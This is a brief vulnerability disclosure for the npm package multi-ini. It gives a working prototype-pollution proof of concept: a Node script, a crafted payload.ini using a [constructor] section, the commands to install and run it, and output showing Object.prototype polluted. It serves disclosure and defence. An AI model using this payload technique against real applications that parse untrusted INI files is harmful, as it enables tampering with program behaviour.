multi-ini
is vulnerable to Prototype Pollution
.
// poc.js
const ini = require('multi-ini');
console.log("Before : " + {}.polluted);
var content = ini.read('./payload.ini');
console.log("After : " + {}.polluted);
//payload.ini
[constructor]
prototype.polluted = "Yes! Its Polluted"
npm i multi-ini # Install affected module
node poc.js # Run the PoC
Before : undefined
After : Yes! Its Polluted